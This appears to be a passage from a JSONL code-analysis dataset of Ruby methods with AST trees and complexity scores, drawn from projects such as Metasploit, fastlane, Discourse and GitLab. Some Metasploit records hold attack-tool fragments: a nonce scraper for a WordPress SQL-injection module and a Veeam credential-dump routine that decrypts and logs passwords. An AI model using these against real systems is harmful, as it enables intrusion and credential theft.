end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_command_injection_interpolated_conditional_dangerous\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"35e75c9db1462a5945016a6d4dbc195cba7b2d105a0ef71070bdd6f305a0efef\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[49]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ command\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"lib/shell.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"dxstr\"]},{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"evstr\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"bar\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\" baz\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]}]}","id":"997a680d-7b3b-401b-951b-7f6f0573e3db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb","start_line":54,"raw_source":"def get_nonce\n    print_status('Attempting to locate the registration page and retrieve the nonce...')\n\n    uris_to_test = (datastore['PAGE_ID_MIN']..datastore['PAGE_ID_MAX']).map { |id| \"?page_id=#{id}\" }\n\n    uris_to_test.each do |uri|\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, uri)\n      })\n\n      next unless res&.code && res.code <= 500\n\n      page = res.get_html_document\n\n      script_tag = page.at_xpath('//script[contains(text(), \"um_scripts\")]')\n      next unless script_tag\n\n      nonce = script_tag.text[/\"nonce\":\"([^\"]+)\"/, 1]\n      if nonce\n        print_good(\"Nonce retrieved: #{nonce} using #{uri}\")\n        return nonce\n      end\n    end\n\n    print_error('Failed to retrieve nonce')\n    raise 'Failed to retrieve nonce'\n  end","complexity_score":40.03,"ast_json":"{\"type\":\"def\",\"children\":[\"get_nonce\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to locate the registration page and retrieve the nonce...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uris_to_test\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAGE_ID_MIN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAGE_ID_MAX\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?page_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uris_to_test\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"<=\",{\"type\":\"int\",\"children\":[500]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"script_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"//script[contains(text(), \\\"um_scripts\\\")]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_tag\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_tag\"]},\"text\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"nonce\\\":\\\"([^\\\"]+)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nonce\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nonce retrieved: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nonce\"]}]},{\"type\":\"str\",\"children\":[\" using \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nonce\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to retrieve nonce\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Failed to retrieve nonce\"]}]}]}]}","id":"3eb4b244-5ff7-421e-acaf-8d906f71338e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/spec/actions_specs/download_universal_apk_from_google_play_spec.rb","start_line":22,"raw_source":"def stub_client_list(download_id_per_cert)\n        response = download_id_per_cert.map do |cert_hash, download_id|\n          Supply::GeneratedUniversalApk.new(package_name, version_code, cert_hash, download_id)\n        end\n        allow(client_stub).to receive(:list_generated_universal_apks)\n          .with(package_name: package_name, version_code: version_code)\n          .and_return(response)\n      end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_client_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"download_id_per_cert\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"download_id_per_cert\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cert_hash\"]},{\"type\":\"arg\",\"children\":[\"download_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Supply\"]},\"GeneratedUniversalApk\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"package_name\"]},{\"type\":\"send\",\"children\":[null,\"version_code\"]},{\"type\":\"lvar\",\"children\":[\"cert_hash\"]},{\"type\":\"lvar\",\"children\":[\"download_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"client_stub\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"list_generated_universal_apks\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"send\",\"children\":[null,\"package_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version_code\"]},{\"type\":\"send\",\"children\":[null,\"version_code\"]}]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}","id":"d1fd3a69-c0c7-431e-ba06-87e0f4deaf73"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/veeam_credential_dump.rb","start_line":347,"raw_source":"def decrypt_vom_db(csv_dataset)\n    current_row = 0\n    decrypted_rows = 0\n    plaintext_rows = 0\n    blank_rows = 0\n    failed_rows = 0\n    result_csv = ::CSV.parse(result_header_row, headers: :first_row, write_headers: true, return_headers: true)\n    print_status('Process Veeam ONE Monitor DB ...')\n    csv_dataset.each do |row|\n      current_row += 1\n      credential_id = row['ID']\n      if credential_id.nil?\n        failed_rows += 1\n        print_error(\"Row #{current_row} missing ID column, skipping\")\n        next\n      end\n      secret_usn = row['USN']\n      secret_username = row['Username']\n      secret_description = row['Description']\n      secret_visible = row['Visible']\n      secret_ciphertext = row['Password']\n      if secret_ciphertext.nil?\n        vprint_warning(\"ID #{credential_id} Password column nil, excluding\")\n        blank_rows += 1\n        next\n      else\n        vom_cred = veeam_vom_decrypt(secret_ciphertext)\n        secret_plaintext = vom_cred['Plaintext'] if vom_cred.key?('Plaintext')\n        secret_disposition = vom_cred['Method'] if vom_cred.key?('Method')\n      end\n      if secret_plaintext.nil? || secret_plaintext.empty?\n        vprint_warning(\"ID #{credential_id} username '#{secret_username}' decrypted Password nil, excluding\")\n        blank_rows += 1\n        next\n      end\n      if !secret_plaintext\n        print_error(\"ID #{credential_id} username '#{secret_username}' failed to decrypt\")\n        vprint_error(row.to_s)\n        failed_rows += 1\n        next\n      end\n      decrypted_rows += 1\n      result_line = [credential_id.to_s, secret_usn.to_s, secret_username.to_s, secret_plaintext.to_s, secret_description.to_s, secret_disposition.to_s, secret_visible.to_s]\n      result_row = ::CSV.parse_line(CSV.generate_line(result_line).gsub(\"\\r\", ''))\n      result_csv << result_row\n      vprint_status(\"ID #{credential_id} username '#{secret_username}' password recovered: #{secret_plaintext} (#{secret_disposition})\")\n    end\n    {\n      processed_rows: current_row,\n      blank_rows: blank_rows,\n      decrypted_rows: decrypted_rows,\n      plaintext_rows: plaintext_rows,\n      failed_rows: failed_rows,\n      result_csv: result_csv\n    }\n  end","complexity_score":96.5,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_vom_db\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"csv_dataset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_row\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"decrypted_rows\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext_rows\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"blank_rows\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"failed_rows\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"result_csv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CSV\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"result_header_row\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"sym\",\"children\":[\"first_row\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"write_headers\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_headers\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Process Veeam ONE Monitor DB ...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv_dataset\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_row\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_id\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failed_rows\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Row \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_row\"]}]},{\"type\":\"str\",\"children\":[\" missing ID column, skipping\"]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"secret_usn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USN\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_description\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Description\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_visible\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Visible\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_ciphertext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Password\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_ciphertext\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_id\"]}]},{\"type\":\"str\",\"children\":[\" Password column nil, excluding\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blank_rows\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vom_cred\",{\"type\":\"send\",\"children\":[null,\"veeam_vom_decrypt\",{\"type\":\"lvar\",\"children\":[\"secret_ciphertext\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vom_cred\"]},\"key?\",{\"type\":\"str\",\"children\":[\"Plaintext\"]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vom_cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Plaintext\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vom_cred\"]},\"key?\",{\"type\":\"str\",\"children\":[\"Method\"]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_disposition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vom_cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Method\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_plaintext\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_plaintext\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_id\"]}]},{\"type\":\"str\",\"children\":[\" username '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_username\"]}]},{\"type\":\"str\",\"children\":[\"' decrypted Password nil, excluding\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blank_rows\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_plaintext\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_id\"]}]},{\"type\":\"str\",\"children\":[\" username '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_username\"]}]},{\"type\":\"str\",\"children\":[\"' failed to decrypt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"to_s\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failed_rows\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decrypted_rows\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"result_line\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_id\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_usn\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_username\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_plaintext\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_description\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_disposition\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_visible\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result_row\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CSV\"]},\"parse_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"generate_line\",{\"type\":\"lvar\",\"children\":[\"result_line\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\r\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_csv\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"result_row\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_id\"]}]},{\"type\":\"str\",\"children\":[\" username '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_username\"]}]},{\"type\":\"str\",\"children\":[\"' password recovered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_plaintext\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_disposition\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"processed_rows\"]},{\"type\":\"lvar\",\"children\":[\"current_row\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank_rows\"]},{\"type\":\"lvar\",\"children\":[\"blank_rows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"decrypted_rows\"]},{\"type\":\"lvar\",\"children\":[\"decrypted_rows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plaintext_rows\"]},{\"type\":\"lvar\",\"children\":[\"plaintext_rows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed_rows\"]},{\"type\":\"lvar\",\"children\":[\"failed_rows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result_csv\"]},{\"type\":\"lvar\",\"children\":[\"result_csv\"]}]}]}]}]}","id":"34b1d18e-8b64-4b82-b388-bd3c67f76b20"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/authentication_results.rb","start_line":24,"raw_source":"def verdict\n      @verdict ||= calc_verdict\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"verdict\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@verdict\"]},{\"type\":\"send\",\"children\":[null,\"calc_verdict\"]}]}]}","id":"77251ee7-48dc-4c1d-a304-4ac29723f35b"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/payments_helper.rb","start_line":4,"raw_source":"def payment_method_name(payment)\n        return unless payment.payment_method.present?\n\n        payment_method = payment.payment_method\n\n        if can?(:update, payment_method)\n          link_to payment_method.name, spree.edit_admin_payment_method_path(payment_method)\n        else\n          payment_method.name\n        end\n      end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"payment_method_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment\"]},\"payment_method\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"payment_method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment\"]},\"payment_method\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"lvar\",\"children\":[\"payment_method\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment_method\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_payment_method_path\",{\"type\":\"lvar\",\"children\":[\"payment_method\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment_method\"]},\"name\"]}]}]}]}","id":"c0d474a4-4515-473c-a3e8-5b41c688f283"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/safe_settings.rb","start_line":117,"raw_source":"def distance_unit\n    settings.dig('maps', 'distance_unit')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"distance_unit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"dig\",{\"type\":\"str\",\"children\":[\"maps\"]},{\"type\":\"str\",\"children\":[\"distance_unit\"]}]}]}","id":"2390d674-4be4-4790-9898-09efcb12a1d7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/uuid.rb","start_line":166,"raw_source":"def self.seed_to_puid(seed)\n    Rex::Text.sha1_raw(seed)[12,8]\n  end","complexity_score":2.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed_to_puid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"sha1_raw\",{\"type\":\"lvar\",\"children\":[\"seed\"]}]},\"[]\",{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[8]}]}]}","id":"13a6b7cf-a73a-4e7c-9a83-0c736f9c5b58"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250603015001_drop_index_on_external_name_for_compliance_controls.rb","start_line":11,"raw_source":"def up\n    add_concurrent_index TABLE_NAME,\n      [:compliance_requirement_id, :external_control_name],\n      unique: true,\n      where: \"external_control_name IS NOT NULL AND external_control_name != ''\",\n      name: NEW_INDEX_NAME\n\n    remove_concurrent_index_by_name TABLE_NAME, name: INDEX_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"compliance_requirement_id\"]},{\"type\":\"sym\",\"children\":[\"external_control_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"external_control_name IS NOT NULL AND external_control_name != ''\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"NEW_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"5e6600fb-0b48-4fa3-93b9-40c9349e7a72"}
